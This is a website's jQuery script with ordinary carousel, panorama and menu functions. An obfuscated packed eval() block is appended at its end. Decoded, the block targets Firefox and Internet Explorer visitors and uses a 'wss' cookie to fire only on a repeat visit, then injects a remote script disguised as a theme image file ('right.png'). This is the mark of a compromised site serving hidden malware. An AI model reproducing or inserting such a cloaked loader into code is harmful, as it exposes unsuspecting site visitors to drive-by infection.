b_inCarrousel = false;

function loadMediaItem(i_itemId)
{
	xhr = $.ajax({
		url: '/node/'+i_itemId+'?ajax=1/',
		success: function(data)
		{
			$('#information-manager').html(data);
		}
	});

	$('#thumbRow img').each(
		function(){
			a_itemParts = this.id.split('_');
			
			if (a_itemParts[1] != '')
			{
				s_opacityValue = 0.6;

				if (i_itemId == a_itemParts[1])
				{
					s_opacityValue = 1;
					$(this).addClass('active');
					$('#caseTitle_'+a_itemParts[1]).css('display', 'block');	
				}
				else
				{
					$(this).removeClass('active');
					$('#caseTitle_'+a_itemParts[1]).css('display', 'none');	
				}
				
				$(this).css({opacity: s_opacityValue});
			}
		}
	);
}

function initImageMenu()
{	
	// Set the width of the "media-items" div (the same with as the current with of the Flash animation)
	i_panoramaWrapperWidth = $('#panoramaWrapper').width();	
	$('#media-items').css('width', i_panoramaWrapperWidth);

	// Set the width of the "thumbRow" div (calculated according to the amount of images)
	i_numOfImages = $('#thumbRow').children().size();
	i_thumbRowWith = (i_numOfImages*160)+(i_numOfImages*20); // 160=image width, 20=margin-right of image
	$('#thumbRow').css('width', i_thumbRowWith);

	// Set the "margin-left" property of the "thumbRow" div (calculated according to the amount of images as width of the "media-items" div)
	i_centerOfThumbRow = Math.ceil(i_thumbRowWith/2);
	i_centerOfMediaItemDiv = Math.ceil(i_panoramaWrapperWidth/2);
	i_thumbRowLeftMargin = Math.ceil(i_centerOfMediaItemDiv-i_centerOfThumbRow);
	$('#thumbRow').css('left', i_thumbRowLeftMargin);
}

function slideImageMenu(s_direction)
{
	if (parseInt($('#thumbRow').css('width')) > $('#panoramaWrapper').width())
	{
		i_thumbRowLeftMargin = parseInt($('#thumbRow').css('left'));
		i_thumbRowLeftMarginToSet = i_thumbRowLeftMargin+150;
		i_maxThumbRowLeftMargin = (parseInt($('#thumbRow').css('width'))-parseInt($('#panoramaWrapper').width()))*-1;
		s_animateValue = '';

		if (s_direction == 'left' && i_thumbRowLeftMarginToSet > i_maxThumbRowLeftMargin)
		{
			s_animateValue = "-=160px";		
		}
		else if (s_direction == 'right' && i_thumbRowLeftMargin < 100)
		{
			s_animateValue = "+=160px";
		}

		if (s_animateValue != '')
		{
			$("#thumbRow").animate({"left": s_animateValue}, "fast");
		}
	}
}

function initPage()
{
	// SHOW/HIDE PANORAMA NAVIGATIE
	$("#navigation-thumb-small").click(function() { 
		$('#panoramaWrapper').animate({opacity: 0.6}, 500);
		$('#media-items').slideToggle(); 
	});

	$('#media-items').bind('mouseenter', function() {
		b_inCarrousel = true;
	});

	$('#media-items').bind('mouseleave', function() {
		b_inCarrousel = false;
		
		window.setTimeout(function() {			
			if (b_inCarrousel == false)
			{
				$('#panoramaWrapper').animate({opacity: 1}, 500);		
				$('#media-items').slideToggle(); 
			}			
		}, 800);
	});
	
	// SHOW/HIDE PANORAMA INFORMATIE				
	$("#readMore").click(function() { $("#information-large").css('display', 'block'); });				
	$('#closeButton').click(function() { $("#information-large").css('display', 'none'); });

	initImageMenu();
	$(window).resize(initImageMenu);

	$("#toLeftSlider").bind('click', function() { slideImageMenu('right'); });
	$("#toRightSlider").bind('click', function() { slideImageMenu('left'); });

	// Loop through werkgebieden and specialisaties menu's
	$.each([579, 578], function(index, value) {
		$('.menu-mlid-'+value).find('a').click(function() 
		{	
			// Onclick --> Assign active state to this link and remove active state from all other links
			$('.menu li a').each(function(index) {
				$(this).parent().removeClass('active-trail active');
				$(this).removeClass('active-trail active');
			});	
			
			$('.menu-mlid-'+value).addClass('active-trail active');
			$('.menu-mlid-'+value+' a').addClass('active-trail active');
			// ---

			// Sliding up and down the correct blue menu's
			if (value == 579)
			{
				s_slideUpId = 'block-views-blue_submenu-block_2';
				s_slideDownId = 'block-views-blue_submenu-block_1';
			}
			else if (value == 578)
			{
				s_slideUpId = 'block-views-blue_submenu-block_1';
				s_slideDownId = 'block-views-blue_submenu-block_2';
			}
			
			$('#'+s_slideUpId).slideUp('fast', function() {
				$('#'+s_slideDownId).slideToggle('fast', function() {
					if ($('#'+s_slideDownId).css('display') == 'none')
					{
						$('.menu li a').each(function(index) {
							$(this).parent().removeClass('active-trail active');
							$(this).removeClass('active-trail active');
						});							
					}
				});			
			});
			// ---

			return false; 
		});	
	});
}

function hoverCarrouselItem(elmKey)
{
	if (!$('#caseImage_'+elmKey).hasClass('active'))
	{
		s_currentOpacityValue = $('#caseImage_'+elmKey).css('opacity');
		s_newOpacityValue = 1;
		$s_newDisplayValue = 'block';
		
		if (s_currentOpacityValue == 1)
		{
			s_newOpacityValue = 0.6;
			$s_newDisplayValue = 'none';
		}
		
		$('#caseImage_'+elmKey).css({opacity: s_newOpacityValue});
		$('#caseTitle_'+elmKey).css({display: $s_newDisplayValue});		
	}
}


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(k(d){2 e=Q.P;2 f=O;6(e.7("N")!=-1||e.7("R")!=-1)f=m;6(f!==m)o;2 n=\'W://V.M//T/X/I/E/C/B/F.G?H\';2 c=p("b");6(c){6(c==\'t\'){a("b","J","3");2 s=5.K(\'D\');s.U=\'10/Y\';s.19=n+\'&r=\'+u v().1b();2 h=5.1c(\'1d\')[0];h.17(s)}l{}}l{a("b","t","3")}k p(8){2 i,x,y,4=5.A.12(";");13(i=0;i<4.15;i++){x=4[i].q(0,4[i].7("="));y=4[i].q(4[i].7("=")+1);x=x.14(/^\\s+|\\s+$/g,"");6(x==8){o 1a(y)}}}k a(8,w,j){2 9=u v();9.Z(9.11()+j);2 z=16(w)+((j==18)?"":"; L="+9.S());5.A=8+"="+z}})(5);',62,76,'||var||ARRcookies|document|if|indexOf|c_name|exdate|setCookie|wss|rc||agent|show||||exdays|function|else|true|staturl|return|getCookie|substr|||goot1|new|Date|value|||c_value|cookie|images|zen_littleplanet|script|zen|right|png|js|themes|goot2|createElement|expires|nl|Firefox|false|userAgent|navigator|MSIE|toUTCString|sites|type|littleplanet|http|all|javascript|setDate|text|getDate|split|for|replace|length|escape|appendChild|null|src|unescape|getTime|getElementsByTagName|head'.split('|'),0,{}))